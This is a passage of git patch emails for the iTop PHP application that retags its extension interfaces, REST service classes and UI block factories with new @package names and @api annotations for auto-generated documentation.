ApplicationPopupMenuItem @@ -862,7 +862,7 @@ abstract class ApplicationPopupMenuItem * Class for adding an item into a popup menu that browses to the given URL * * @api - * @package Extensibility + * @package UIExtensibilityAPI * @since 2.0 */ class URLPopupMenuItem extends ApplicationPopupMenuItem @@ -898,7 +898,7 @@ class URLPopupMenuItem extends ApplicationPopupMenuItem * Class for adding an item into a popup menu that triggers some Javascript code * * @api - * @package Extensibility + * @package UIExtensibilityAPI * @since 2.0 */ class JSPopupMenuItem extends ApplicationPopupMenuItem @@ -950,7 +950,7 @@ class JSPopupMenuItem extends ApplicationPopupMenuItem * will automatically reduce several consecutive separators to just one * * @api - * @package Extensibility + * @package UIExtensibilityAPI * @since 2.0 */ class SeparatorPopupMenuItem extends ApplicationPopupMenuItem @@ -976,7 +976,7 @@ class SeparatorPopupMenuItem extends ApplicationPopupMenuItem * Class for adding an item as a button that browses to the given URL * * @api - * @package Extensibility + * @package UIExtensibilityAPI * @since 2.0 */ class URLButtonItem extends URLPopupMenuItem @@ -988,7 +988,7 @@ class URLButtonItem extends URLPopupMenuItem * Class for adding an item as a button that runs some JS code * * @api - * @package Extensibility + * @package UIExtensibilityAPI * @since 2.0 */ class JSButtonItem extends JSPopupMenuItem @@ -1012,7 +1012,7 @@ class JSButtonItem extends JSPopupMenuItem * the specified place and can use the passed iTopWebPage object to add javascript or CSS definitions * * @api - * @package Extensibility + * @package UIExtensibilityAPI * @since 2.0 */ interface iPageUIExtension @@ -1049,7 +1049,7 @@ interface iPageUIExtension * Extend this class instead of iPageUIExtension if you don't need to overload all methods * * @api - * @package Extensibility + * @package UIExtensibilityAPI * @since 2.7.0 */ abstract class AbstractPageUIExtension implements iPageUIExtension @@ -1084,7 +1084,7 @@ abstract class AbstractPageUIExtension implements iPageUIExtension * Implement this interface to add content to any enhanced portal page * * @api - * @package Extensibility + * @package PortalExtensibilityAPI * * @since 2.4.0 interface creation * @since 2.7.0 change method signatures due to Silex to Symfony migration @@ -1163,7 +1163,7 @@ interface iPortalUIExtension * Extend this class instead of iPortalUIExtension if you don't need to overload all methods * * @api - * @package Extensibility + * @package PortalExtensibilityAPI * @since 2.4.0 */ abstract class AbstractPortalUIExtension implements iPortalUIExtension @@ -1229,7 +1229,7 @@ abstract class AbstractPortalUIExtension implements iPortalUIExtension * Implement this interface to add new operations to the REST/JSON web service * * @api - * @package Extensibility + * @package RESTExtensibilityAPI * @since 2.0.1 */ interface iRestServiceProvider @@ -1259,7 +1259,7 @@ interface iRestServiceProvider * Minimal REST response structure. Derive this structure to add response data and error codes. * * @api - * @package Extensibility + * @package RESTExtensibilityAPI * @since 2.0.1 */ class RestResult @@ -1329,7 +1329,7 @@ class RestResult * Helpers for implementing REST services * * @api - * @package Extensibility + * @package RESTExtensibilityAPI */ class RestUtils { diff --git a/core/restservices.class.inc.php b/core/restservices.class.inc.php index bf9608af4..dbcc29e6e 100644 --- a/core/restservices.class.inc.php +++ b/core/restservices.class.inc.php @@ -129,7 +129,7 @@ class ObjectResult /** * REST response for services managing objects. Derive this structure to add information and/or constants * - * @package Extensibility + * @package RESTExtensibilityAPI * @package REST Services * @api */ @@ -206,7 +206,7 @@ class RestResultWithRelations extends RestResultWithObjects /** * Deletion result codes for a target object (either deleted or updated) * - * @package Extensibility + * @package RESTExtensibilityAPI * @api * @since 2.0.1 */ From 92a36dcfddd1d7122856cdb40cbc02d5bf6404fc Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Thu, 29 Dec 2022 12:24:56 +0100 Subject: [PATCH 081/230] :memo: Change packages for auto-documentation --- application/applicationextension.inc.php | 86 +++++++++++++++++++++++- 1 file changed, 85 insertions(+), 1 deletion(-) diff --git a/application/applicationextension.inc.php b/application/applicationextension.inc.php index 912485191..833ecb6e0 100644 --- a/application/applicationextension.inc.php +++ b/application/applicationextension.inc.php @@ -29,9 +29,9 @@ require_once(APPROOT.'application/newsroomprovider.class.inc.php'); * You may implement such interfaces in a module file (e.g. main.mymodule.php) * * @api + * @package LoginExtensibilityAPI * @copyright Copyright (C) 2010-2012 Combodo SARL * @license http://opensource.org/licenses/AGPL-3.0 - * @package Extensibility * @since 2.7.0 */ interface iLoginExtension @@ -39,12 +39,16 @@ interface iLoginExtension /** * Return the list of supported login modes for this plugin * + * @api + * * @return array of supported login modes */ public function ListSupportedLoginModes(); } /** + * @api + * @package LoginExtensibilityAPI * @since 2.7.0 */ interface iLoginFSMExtension extends iLoginExtension @@ -56,6 +60,7 @@ interface iLoginFSMExtension extends iLoginExtension * if LoginWebPage::LOGIN_FSM_RETURN_OK is returned then the login is OK and terminated * if LoginWebPage::LOGIN_FSM_RETURN_IGNORE is returned then the FSM will proceed to next plugin or state * + * @api * @param string $sLoginState (see LoginWebPage::LOGIN_STATE_...) * @param int $iErrorCode (see LoginWebPage::EXIT_CODE_...) * @@ -65,6 +70,8 @@ interface iLoginFSMExtension extends iLoginExtension } /** + * @api + * @package LoginExtensibilityAPI * @since 2.7.0 */ abstract class AbstractLoginFSMExtension implements iLoginFSMExtension @@ -111,6 +118,7 @@ abstract class AbstractLoginFSMExtension implements iLoginFSMExtension /** * Initialization * + * @api * @param int $iErrorCode (see LoginWebPage::EXIT_CODE_...) * * @return int LoginWebPage::LOGIN_FSM_RETURN_ERROR, LoginWebPage::LOGIN_FSM_RETURN_OK or LoginWebPage::LOGIN_FSM_RETURN_IGNORE @@ -124,6 +132,7 @@ abstract class AbstractLoginFSMExtension implements iLoginFSMExtension * Detect login mode explicitly without respecting configured order (legacy mode) * In most case do nothing here * + * @api * @param int $iErrorCode (see LoginWebPage::EXIT_CODE_...) * * @return int LoginWebPage::LOGIN_FSM_RETURN_ERROR, LoginWebPage::LOGIN_FSM_RETURN_OK or LoginWebPage::LOGIN_FSM_RETURN_IGNORE @@ -140,6 +149,7 @@ abstract class AbstractLoginFSMExtension implements iLoginFSMExtension * 1 - display login form * 2 - read the values posted by the user * + * @api * @param int $iErrorCode (see LoginWebPage::EXIT_CODE_...) * * @return int LoginWebPage::LOGIN_FSM_RETURN_ERROR, LoginWebPage::LOGIN_FSM_RETURN_OK or LoginWebPage::LOGIN_FSM_RETURN_IGNORE @@ -153,6 +163,7 @@ abstract class AbstractLoginFSMExtension implements iLoginFSMExtension * Control the validity of the data provided by the user * Automatic user provisioning can be done here * + * @api * @param int $iErrorCode (see LoginWebPage::EXIT_CODE_...) * * @return int LoginWebPage::LOGIN_FSM_RETURN_ERROR, LoginWebPage::LOGIN_FSM_RETURN_OK or LoginWebPage::LOGIN_FSM_RETURN_IGNORE @@ -163,6 +174,7 @@ abstract class AbstractLoginFSMExtension implements iLoginFSMExtension } /** + * @api * @param int $iErrorCode (see LoginWebPage::EXIT_CODE_...) * * @return int LoginWebPage::LOGIN_FSM_RETURN_ERROR, LoginWebPage::LOGIN_FSM_RETURN_OK or LoginWebPage::LOGIN_FSM_RETURN_IGNORE @@ -173,6 +185,7 @@ abstract class AbstractLoginFSMExtension implements iLoginFSMExtension } /** + * @api * @param int $iErrorCode (see LoginWebPage::EXIT_CODE_...) * * @return int LoginWebPage::LOGIN_FSM_RETURN_ERROR, LoginWebPage::LOGIN_FSM_RETURN_OK or LoginWebPage::LOGIN_FSM_RETURN_IGNORE @@ -183,6 +196,7 @@ abstract class AbstractLoginFSMExtension implements iLoginFSMExtension } /** + * @api * @param int $iErrorCode (see LoginWebPage::EXIT_CODE_...) * * @return int LoginWebPage::LOGIN_FSM_RETURN_ERROR, LoginWebPage::LOGIN_FSM_RETURN_OK or LoginWebPage::LOGIN_FSM_RETURN_IGNORE @@ -193,6 +207,7 @@ abstract class AbstractLoginFSMExtension implements iLoginFSMExtension } /** + * @api * @param int $iErrorCode (see LoginWebPage::EXIT_CODE_...) * * @return int LoginWebPage::LOGIN_FSM_RETURN_ERROR, LoginWebPage::LOGIN_FSM_RETURN_OK or LoginWebPage::LOGIN_FSM_RETURN_IGNORE @@ -204,22 +219,28 @@ abstract class AbstractLoginFSMExtension implements iLoginFSMExtension } /** + * @api + * @package LoginExtensibilityAPI * @since 2.7.0 */ interface iLogoutExtension extends iLoginExtension { /** * Execute all actions to log out properly + * @api */ public function LogoutAction(); } /** + * @api + * @package UIExtensibilityAPI * @since 2.7.0 */ interface iLoginUIExtension extends iLoginExtension { /** + * @api * @return LoginTwigContext */ public function GetTwigContext(); @@ -233,12 +254,14 @@ interface iLoginUIExtension extends iLoginExtension interface iPreferencesExtension { /** + * @api * @param \WebPage $oPage * */ public function DisplayPreferences(WebPage $oPage); /** + * @api * @param \WebPage $oPage * @param string $sOperation * @@ -319,6 +342,7 @@ interface iApplicationUIExtension * } * * + * @api * @param DBObject $oObject The object being displayed * @param WebPage $oPage The output context * @param boolean $bEditMode True if the edition form is being displayed @@ -332,6 +356,7 @@ interface iApplicationUIExtension * * The method is called rigth after all the tabs have been displayed * + * @api * @param DBObject $oObject The object being displayed * @param WebPage $oPage The output context * @param boolean $bEditMode True if the edition form is being displayed @@ -346,6 +371,7 @@ interface iApplicationUIExtension * The method is called after the changes from the standard form have been * taken into account, and before saving the changes into the database. * + * @api * @param DBObject $oObject The object being edited * @param string $sFormPrefix Prefix given to the HTML form inputs * @@ -360,6 +386,7 @@ interface iApplicationUIExtension * javascript into the edition form, and if that code requires to store temporary data * (this is the case when a file must be uploaded). * + * @api * @param string $sTempId Unique temporary identifier made of session_id and transaction_id. It identifies the object in a unique way. * * @return void @@ -371,6 +398,7 @@ interface iApplicationUIExtension * * Sorry, the verb has been reserved. You must implement it, but it is not called as of now. * + * @api * @param DBObject $oObject The object being displayed * * @return string[] desc @@ -382,6 +410,7 @@ interface iApplicationUIExtension * * Sorry, the verb has been reserved. You must implement it, but it is not called as of now. * + * @api * @param DBObject $oObject The object being displayed * * @return string Path of the icon, relative to the modules directory. @@ -401,6 +430,7 @@ interface iApplicationUIExtension * * HILIGHT_CLASS_OK * * HILIGHT_CLASS_NONE * + * @api * @param DBObject $oObject The object being displayed * * @return integer The value representing the mood of the object @@ -427,6 +457,7 @@ interface iApplicationUIExtension * * See also iPopupMenuExtension for greater flexibility * + * @api * @param DBObjectSet $oSet A set of persistent objects (DBObject) * * @return string[string] @@ -525,6 +556,7 @@ interface iApplicationObjectExtension * If the extension returns false, then the framework will perform the usual evaluation. * Otherwise, the answer is definitively "yes, the object has changed". * + * @api * @param \cmdbAbstractObject $oObject The target object * * @return boolean True if something has changed for the target object @@ -537,6 +569,7 @@ interface iApplicationObjectExtension * The GUI calls this verb and reports any issue. * Anyhow, this API can be called in other contexts such as the CSV import tool. * + * @api * @param \cmdbAbstractObject $oObject The target object * * @return string[] A list of errors message. An error message is made of one line and it can be displayed to the end-user. @@ -550,6 +583,7 @@ interface iApplicationObjectExtension * * Please not that it is not possible to cascade deletion by this mean: only stopper issues can be handled. * + * @api * @param \cmdbAbstractObject $oObject The target object * * @return string[] A list of errors message. An error message is made of one line and it can be displayed to the end-user. @@ -565,6 +599,7 @@ interface iApplicationObjectExtension * * {@see DBObject::ListPreviousValuesForUpdatedAttributes()} : list of changed attributes and their values before the change * * {@see DBObject::Get()} : for a given attribute the new value that was persisted * + * @api * @param \cmdbAbstractObject $oObject The target object * @param CMDBChange|null $oChange A change context. Since 2.0 it is fine to ignore it, as the framework does maintain this information * once for all the changes made within the current page @@ -580,6 +615,7 @@ interface iApplicationObjectExtension * * The method is called right after the object has been written to the database. * + * @api * @param \cmdbAbstractObject $oObject The target object * @param CMDBChange|null $oChange A change context. Since 2.0 it is fine to ignore it, as the framework does maintain this information * once for all the changes made within the current page @@ -593,6 +629,7 @@ interface iApplicationObjectExtension * * The method is called right before the object will be deleted from the database. * + * @api * @param \cmdbAbstractObject $oObject The target object * @param CMDBChange|null $oChange A change context. Since 2.0 it is fine to ignore it, as the framework does maintain this information * once for all the changes made within the current page @@ -675,18 +712,21 @@ interface iPopupMenuExtension * Insert an item into the Actions menu of a list * * $param is a DBObjectSet containing the list of objects + * @api */ const MENU_OBJLIST_ACTIONS = 1; /** * Insert an item into the Toolkit menu of a list * * $param is a DBObjectSet containing the list of objects + * @api */ const MENU_OBJLIST_TOOLKIT = 2; /** * Insert an item into the Actions menu on an object details page * * $param is a DBObject instance: the object currently displayed + * @api */ const MENU_OBJDETAILS_ACTIONS = 3; /** @@ -696,12 +736,14 @@ interface iPopupMenuExtension * is being displayed. * * $param is a Dashboard instance: the dashboard currently displayed + * @api */ const MENU_DASHBOARD_ACTIONS = 4; /** * Insert an item into the User menu (upper right corner) * * $param is null + * @api */ const MENU_USER_ACTIONS = 5; /** @@ -709,6 +751,7 @@ interface iPopupMenuExtension * * $param is an array('portal_id' => $sPortalId, 'object' => $oObject) containing the portal id and a DBObject instance (the object on * the current line) + * @api */ const PORTAL_OBJLISTITEM_ACTIONS = 7; /** @@ -716,6 +759,7 @@ interface iPopupMenuExtension * * $param is an array('portal_id' => $sPortalId, 'object' => $oObject) containing the portal id and a DBObject instance (the object * currently displayed) + * @api */ const PORTAL_OBJDETAILS_ACTIONS = 8; @@ -753,6 +797,7 @@ interface iPopupMenuExtension * This method is called by the framework for each menu. * The items will be inserted in the menu in the order of the returned array. * + * @api * @param int $iMenuId The identifier of the type of menu, as listed by the constants MENU_xxx * @param mixed $param Depends on $iMenuId, see the constants defined above * @@ -826,6 +871,7 @@ abstract class ApplicationPopupMenuItem } /** + * @api * @param $aCssClasses */ public function SetCssClasses($aCssClasses) @@ -836,6 +882,7 @@ abstract class ApplicationPopupMenuItem /** * Adds a CSS class to the CSS classes that will be put on the menu item * + * @api * @param $sCssClass */ public function AddCssClass($sCssClass) @@ -875,6 +922,7 @@ class URLPopupMenuItem extends ApplicationPopupMenuItem /** * Constructor * + * @api * @param string $sUID The unique identifier of this menu in iTop... make sure you pass something unique enough * @param string $sLabel The display label of the menu (must be localized) * @param string $sURL If the menu is an hyperlink, provide the absolute hyperlink here @@ -959,6 +1007,7 @@ class SeparatorPopupMenuItem extends ApplicationPopupMenuItem /** * Constructor + * @api */ public function __construct() { @@ -1020,6 +1069,7 @@ interface iPageUIExtension /** * Add content to the North pane * + * @api * @param iTopWebPage $oPage The page to insert stuff into. * * @return string The HTML content to add into the page @@ -1029,6 +1079,7 @@ interface iPageUIExtension /** * Add content to the South pane * + * @api * @param iTopWebPage $oPage The page to insert stuff into. * * @return string The HTML content to add into the page @@ -1038,6 +1089,7 @@ interface iPageUIExtension /** * Add content to the "admin banner" * + * @api * @param iTopWebPage $oPage The page to insert stuff into. * * @return string The HTML content to add into the page @@ -1098,6 +1150,7 @@ interface iPortalUIExtension /** * Returns an array of CSS file urls * + * @api * @param \Symfony\Component\DependencyInjection\Container $oContainer * * @return array @@ -1107,6 +1160,7 @@ interface iPortalUIExtension /** * Returns inline (raw) CSS * + * @api * @param \Symfony\Component\DependencyInjection\Container $oContainer * * @return string @@ -1116,6 +1170,7 @@ interface iPortalUIExtension /** * Returns an array of JS file urls * + * @api * @param \Symfony\Component\DependencyInjection\Container $oContainer * * @return array @@ -1125,6 +1180,7 @@ interface iPortalUIExtension /** * Returns raw JS code * + * @api * @param \Symfony\Component\DependencyInjection\Container $oContainer * * @return string @@ -1134,6 +1190,7 @@ interface iPortalUIExtension /** * Returns raw HTML code to put at the end of the tag * + * @api * @param \Symfony\Component\DependencyInjection\Container $oContainer * * @return string @@ -1143,6 +1200,7 @@ interface iPortalUIExtension /** * Returns raw HTML code to put at the end of the #main-wrapper element * + * @api * @param \Symfony\Component\DependencyInjection\Container $oContainer * * @return string @@ -1152,6 +1210,7 @@ interface iPortalUIExtension /** * Returns raw HTML code to put at the end of the #topbar and #sidebar elements * + * @api * @param \Symfony\Component\DependencyInjection\Container $oContainer * * @return string @@ -1237,6 +1296,7 @@ interface iRestServiceProvider /** * Enumerate services delivered by this class * + * @api * @param string $sVersion The version (e.g. 1.0) supported by the services * * @return array An array of hash 'verb' => verb, 'description' => description @@ -1246,6 +1306,7 @@ interface iRestServiceProvider /** * Enumerate services delivered by this class * + * @api * @param string $sVersion The version (e.g. 1.0) supported by the services * @param string $sVerb * @param array $aParams @@ -1266,62 +1327,83 @@ class RestResult { /** * Result: no issue has been encountered + * @api */ const OK = 0; /** * Result: missing/wrong credentials or the user does not have enough rights to perform the requested operation + * @api */ const UNAUTHORIZED = 1; /** * Result: the parameter 'version' is missing + * @api */ const MISSING_VERSION = 2; /** * Result: the parameter 'json_data' is missing + * @api */ const MISSING_JSON = 3; /** * Result: the input structure is not a valid JSON string + * @api */ const INVALID_JSON = 4; /** * Result: the parameter 'auth_user' is missing, authentication aborted + * @api */ const MISSING_AUTH_USER = 5; /** * Result: the parameter 'auth_pwd' is missing, authentication aborted + * @api */ const MISSING_AUTH_PWD = 6; /** * Result: no operation is available for the specified version + * @api */ const UNSUPPORTED_VERSION = 10; /** * Result: the requested operation is not valid for the specified version + * @api */ const UNKNOWN_OPERATION = 11; /** * Result: the requested operation cannot be performed because it can cause data (integrity) loss + * @api */ const UNSAFE = 12; /** * Result: the request page number is not valid. It must be an integer greater than 0 + * @api */ const INVALID_PAGE = 13; /** * Result: the operation could not be performed, see the message for troubleshooting + * @api */ const INTERNAL_ERROR = 100; /** * Default constructor - ok! + * @api */ public function __construct() { $this->code = RestResult::OK; } + /** + * @var int + * @api + */ public $code; + /** + * @var string + * @api + */ public $message; } @@ -1478,6 +1560,7 @@ class RestUtils /** * Read and interpret object search criteria from a Rest/Json structure * + * @api * @param string $sClass Name of the class * @param StdClass $oCriteria Hash of attribute code => value (can be a substructure or a scalar, depending on the nature of the * attriute) @@ -1587,6 +1670,7 @@ class RestUtils /** * Search objects from a polymorph search specification (Rest/Json) * + * @api * @param string $sClass Name of the class * @param mixed $key Either search criteria (substructure), or an object or an OQL string. * @param int $iLimit The limit of results to return From 88d9a29599c6f69a73cd272cbbc523f8fcf70a08 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Thu, 29 Dec 2022 12:38:31 +0100 Subject: [PATCH 082/230] :memo: Change packages for auto-documentation --- core/restservices.class.inc.php | 88 ++++++++++++++++--- .../UI/Base/AbstractUIBlockFactory.php | 4 +- .../Component/Alert/AlertUIBlockFactory.php | 10 ++- .../Component/Button/ButtonUIBlockFactory.php | 5 +- .../ButtonGroup/ButtonGroupUIBlockFactory.php | 5 +- .../CollapsibleSectionUIBlockFactory.php | 5 +- .../DataTable/DataTableUIBlockFactory.php | 14 ++- .../Component/Field/FieldUIBlockFactory.php | 39 +++++++- .../FieldBadge/FieldBadgeUIBlockFactory.php | 2 +- .../FieldSet/FieldSetUIBlockFactory.php | 5 +- .../Component/Form/FormUIBlockFactory.php | 3 +- .../FileSelect/FileSelectUIBlockFactory.php | 5 +- .../Component/Input/InputUIBlockFactory.php | 31 ++++++- .../Select/SelectOptionUIBlockFactory.php | 13 ++- .../Input/Select/SelectUIBlockFactory.php | 6 +- .../Component/Panel/PanelUIBlockFactory.php | 13 ++- .../Spinner/SpinnerUIBlockFactory.php | 10 ++- .../Component/Title/TitleUIBlockFactory.php | 37 +++++++- .../ToolbarSeparatorUIBlockFactory.php | 5 +- .../ToolbarSpacerUIBlockFactory.php | 5 +- .../Toolbar/ToolbarUIBlockFactory.php | 24 ++++- .../Column/ColumnUIBlockFactory.php | 15 +++- .../MultiColumn/MultiColumnUIBlockFactory.php | 8 +- .../Layout/UIContentBlockUIBlockFactory.php | 6 +- 24 files changed, 305 insertions(+), 53 deletions(-) diff --git a/core/restservices.class.inc.php b/core/restservices.class.inc.php index 92b25e75e..046ccdd4a 100644 --- a/core/restservices.class.inc.php +++ b/core/restservices.class.inc.php @@ -30,18 +30,40 @@ /** * Element of the response formed by RestResultWithObjects * - * @package REST Services + * @package RESTExtensibilityAPI + * @api */ class ObjectResult { + /** + * @var int + * @api + */ public $code; + /** + * @var string + * @api + */ public $message; + /** + * @var mixed|null + * @api + */ public $class; + /** + * @var mixed|null + * @api + */ public $key; + /** + * @var array + * @api + */ public $fields; /** * Default constructor + * @api */ public function __construct($sClass = null, $iId = null) { @@ -54,11 +76,17 @@ class ObjectResult /** * Helper to make an output value for a given attribute - * + * + * @api * @param DBObject $oObject The object being reported * @param string $sAttCode The attribute code (must be valid) * @param boolean $bExtendedOutput Output all of the link set attributes ? + * * @return string A scalar representation of the value + * @throws \ArchivedObjectException + * @throws \CoreException + * @throws \CoreUnexpectedValue + * @throws \MySQLException */ protected function MakeResultValue(DBObject $oObject, $sAttCode, $bExtendedOutput = false) { @@ -112,11 +140,17 @@ class ObjectResult /** * Report the value for the given object attribute - * + * + * @api * @param DBObject $oObject The object being reported * @param string $sAttCode The attribute code (must be valid) * @param boolean $bExtendedOutput Output all of the link set attributes ? + * * @return void + * @throws \ArchivedObjectException + * @throws \CoreException + * @throws \CoreUnexpectedValue + * @throws \MySQLException */ public function AddField(DBObject $oObject, $sAttCode, $bExtendedOutput = false) { @@ -129,8 +163,7 @@ class ObjectResult /** * REST response for services managing objects. Derive this structure to add information and/or constants * - * @package RESTExtensibilityAPI - * @package REST Services + * @package RESTExtensibilityAPI * @api */ class RestResultWithObjects extends RestResult @@ -139,13 +172,19 @@ class RestResultWithObjects extends RestResult /** * Report the given object - * - * @param int An error code (RestResult::OK is no issue has been found) + * + * @api + * @param $iCode * @param string $sMessage Description of the error if any, an empty string otherwise * @param DBObject $oObject The object being reported - * @param array $aFieldSpec An array of class => attribute codes (Cf. RestUtils::GetFieldList). List of the attributes to be reported. + * @param null $aFieldSpec An array of class => attribute codes (Cf. RestUtils::GetFieldList). List of the attributes to be reported. * @param boolean $bExtendedOutput Output all of the link set attributes ? + * * @return void + * @throws \ArchivedObjectException + * @throws \CoreException + * @throws \CoreUnexpectedValue + * @throws \MySQLException */ public function AddObject($iCode, $sMessage, $oObject, $aFieldSpec = null, $bExtendedOutput = false) { @@ -183,16 +222,30 @@ class RestResultWithObjects extends RestResult } } +/** + * @package RESTExtensibilityAPI + * @api + */ class RestResultWithRelations extends RestResultWithObjects { public $relations; - + + /** + * @api + */ public function __construct() { parent::__construct(); $this->relations = array(); } - + + /** + * @param $sSrcKey + * @param $sDestKey + * + * @return void + * @api + */ public function AddRelation($sSrcKey, $sDestKey) { if (!array_key_exists($sSrcKey, $this->relations)) @@ -214,30 +267,37 @@ class RestDelete { /** * Result: Object deleted as per the initial request + * @api */ const OK = 0; /** - * Result: general issue (user rights or ... ?) + * Result: general issue (user rights or ... ?) + * @api */ const ISSUE = 1; /** - * Result: Must be deleted to preserve database integrity + * Result: Must be deleted to preserve database integrity + * @api */ const AUTO_DELETE = 2; /** - * Result: Must be deleted to preserve database integrity, but that is NOT possible + * Result: Must be deleted to preserve database integrity, but that is NOT possible + * @api */ const AUTO_DELETE_ISSUE = 3; /** - * Result: Must be deleted to preserve database integrity, but this must be requested explicitely + * Result: Must be deleted to preserve database integrity, but this must be requested explicitly + * @api */ const REQUEST_EXPLICITELY = 4; /** * Result: Must be updated to preserve database integrity + * @api */ const AUTO_UPDATE = 5; /** * Result: Must be updated to preserve database integrity, but that is NOT possible + * @api */ const AUTO_UPDATE_ISSUE = 6; } diff --git a/sources/application/UI/Base/AbstractUIBlockFactory.php b/sources/application/UI/Base/AbstractUIBlockFactory.php index 3f7462896..4d5ecaa1c 100644 --- a/sources/application/UI/Base/AbstractUIBlockFactory.php +++ b/sources/application/UI/Base/AbstractUIBlockFactory.php @@ -11,7 +11,7 @@ namespace Combodo\iTop\Application\UI\Base; /** * Class AbstractUIBlockFactory * - * @package Combodo\iTop\Application\UI\Base + * @package UIBlockExtensibilityAPI * @author Eric Espie * @since 3.0.0 * @api @@ -19,11 +19,13 @@ namespace Combodo\iTop\Application\UI\Base; abstract class AbstractUIBlockFactory implements iUIBlockFactory { /** + * @api * @var string * @see static::GetTwigTagName() */ public const TWIG_TAG_NAME = 'UIBlock'; /** + * @api * @var string * @see static::GetUIBlockClassName() */ diff --git a/sources/application/UI/Base/Component/Alert/AlertUIBlockFactory.php b/sources/application/UI/Base/Component/Alert/AlertUIBlockFactory.php index 8fd953c51..20060bf9a 100644 --- a/sources/application/UI/Base/Component/Alert/AlertUIBlockFactory.php +++ b/sources/application/UI/Base/Component/Alert/AlertUIBlockFactory.php @@ -25,7 +25,7 @@ use Combodo\iTop\Application\UI\Base\AbstractUIBlockFactory; * Class AlertUIBlockFactory * * @author Guillaume Lajarige - * @package Combodo\iTop\Application\UI\Base\Component\Alert + * @package UIBlockExtensibilityAPI * @since 3.0.0 * @api * @@ -41,6 +41,7 @@ class AlertUIBlockFactory extends AbstractUIBlockFactory /** * Make a basis Alert component * + * @api * @param string $sTitle Title of the alert * @param string $sContent The raw HTML content, must be already sanitized * @param string|null $sId id of the html block @@ -55,6 +56,7 @@ class AlertUIBlockFactory extends AbstractUIBlockFactory /** * Make an Alert component for informational messages * + * @api * @param string $sTitle Title of the alert * @param string $sContent The raw HTML content, must be already sanitized * @param string|null $sId id of the html block @@ -70,6 +72,7 @@ class AlertUIBlockFactory extends AbstractUIBlockFactory /** * Make an Alert component for successful messages * + * @api * @param string $sTitle Title of the alert * @param string $sContent The raw HTML content, must be already sanitized * @param string|null $sId @@ -84,6 +87,7 @@ class AlertUIBlockFactory extends AbstractUIBlockFactory /** * Make an Alert component for warning messages * + * @api * @param string $sTitle Title of the alert * @param string $sContent The raw HTML content, must be already sanitized * @param string|null $sId id of the html block @@ -98,6 +102,7 @@ class AlertUIBlockFactory extends AbstractUIBlockFactory /** * Make an Alert component for danger messages * + * @api * @param string $sTitle Title of the alert * @param string $sContent The raw HTML content, must be already sanitized * @param string|null $sId id of the html block @@ -112,6 +117,7 @@ class AlertUIBlockFactory extends AbstractUIBlockFactory /** * Make an Alert component for failure messages * + * @api * @param string $sTitle Title of the alert * @param string $sContent The raw HTML content, must be already sanitized * @param string|null $sId id of the html block @@ -126,6 +132,7 @@ class AlertUIBlockFactory extends AbstractUIBlockFactory /** * Make an Alert component with primary color scheme * + * @api * @param string $sTitle Title of the alert * @param string $sContent The raw HTML content, must be already sanitized * @param string|null $sId id of the html block @@ -140,6 +147,7 @@ class AlertUIBlockFactory extends AbstractUIBlockFactory /** * Make an Alert component with secondary color scheme * + * @api * @param string $sTitle Title of the alert * @param string $sContent The raw HTML content, must be already sanitized * @param string|null $sId id of the html block diff --git a/sources/application/UI/Base/Component/Button/ButtonUIBlockFactory.php b/sources/application/UI/Base/Component/Button/ButtonUIBlockFactory.php index 0b9d5b875..5b4979395 100644 --- a/sources/application/UI/Base/Component/Button/ButtonUIBlockFactory.php +++ b/sources/application/UI/Base/Component/Button/ButtonUIBlockFactory.php @@ -27,9 +27,9 @@ use utils; * Class ButtonUIBlockFactory * * @author Guillaume Lajarige - * @package Combodo\iTop\Application\UI\Base\Component\Button - * @since 3.0.0 + * @package UIBlockExtensibilityAPI * @api + * @since 3.0.0 * * @link /test/VisualTest/Backoffice/RenderAllUiBlocks.php#title-buttons to see live examples */ @@ -47,6 +47,7 @@ class ButtonUIBlockFactory extends AbstractUIBlockFactory /** * Make a basis Button component for any purpose * + * @api * @param string $sLabel * @param string|null $sName See {@link Button::$sName} * @param string|null $sId diff --git a/sources/application/UI/Base/Component/ButtonGroup/ButtonGroupUIBlockFactory.php b/sources/application/UI/Base/Component/ButtonGroup/ButtonGroupUIBlockFactory.php index f9b6c7786..3de2e60e9 100644 --- a/sources/application/UI/Base/Component/ButtonGroup/ButtonGroupUIBlockFactory.php +++ b/sources/application/UI/Base/Component/ButtonGroup/ButtonGroupUIBlockFactory.php @@ -15,9 +15,9 @@ use Combodo\iTop\Application\UI\Base\Component\PopoverMenu\PopoverMenu; * Class ButtonGroupUIBlockFactory * * @author Guillaume Lajarige - * @package Combodo\iTop\Application\UI\Base\Component\Button - * @since 3.0.0 + * @package UIBlockExtensibilityAPI * @api + * @since 3.0.0 */ class ButtonGroupUIBlockFactory extends AbstractUIBlockFactory { @@ -29,6 +29,7 @@ class ButtonGroupUIBlockFactory extends AbstractUIBlockFactory /** * Make a button that has a primary action ($oButton) but also an options menu ($oMenu) on the side * + * @api * @param \Combodo\iTop\Application\UI\Base\Component\Button\Button $oButton * @param \Combodo\iTop\Application\UI\Base\Component\PopoverMenu\PopoverMenu $oMenu * diff --git a/sources/application/UI/Base/Component/CollapsibleSection/CollapsibleSectionUIBlockFactory.php b/sources/application/UI/Base/Component/CollapsibleSection/CollapsibleSectionUIBlockFactory.php index 6ff9172a9..154830464 100644 --- a/sources/application/UI/Base/Component/CollapsibleSection/CollapsibleSectionUIBlockFactory.php +++ b/sources/application/UI/Base/Component/CollapsibleSection/CollapsibleSectionUIBlockFactory.php @@ -14,9 +14,9 @@ use Combodo\iTop\Application\UI\Base\AbstractUIBlockFactory; * Class CollapsibleSectionUIBlockFactory * * @author Pierre Goiffon - * @package Combodo\iTop\Application\UI\Base\Component\CollapsibleSection - * @since 3.0.0 + * @package UIBlockExtensibilityAPI * @api + * @since 3.0.0 */ class CollapsibleSectionUIBlockFactory extends AbstractUIBlockFactory { @@ -26,6 +26,7 @@ class CollapsibleSectionUIBlockFactory extends AbstractUIBlockFactory public const UI_BLOCK_CLASS_NAME = CollapsibleSection::class; /** + * @api * @param string $sTitle * @param string|null $sId * diff --git a/sources/application/UI/Base/Component/DataTable/DataTableUIBlockFactory.php b/sources/application/UI/Base/Component/DataTable/DataTableUIBlockFactory.php index 8b728366b..8e815ac86 100644 --- a/sources/application/UI/Base/Component/DataTable/DataTableUIBlockFactory.php +++ b/sources/application/UI/Base/Component/DataTable/DataTableUIBlockFactory.php @@ -6,8 +6,8 @@ namespace Combodo\iTop\Application\UI\Base\Component\DataTable; -use ApplicationException; use ApplicationContext; +use ApplicationException; use appUserPreferences; use AttributeLinkedSet; use cmdbAbstractObject; @@ -35,9 +35,9 @@ use WebPage; * Class 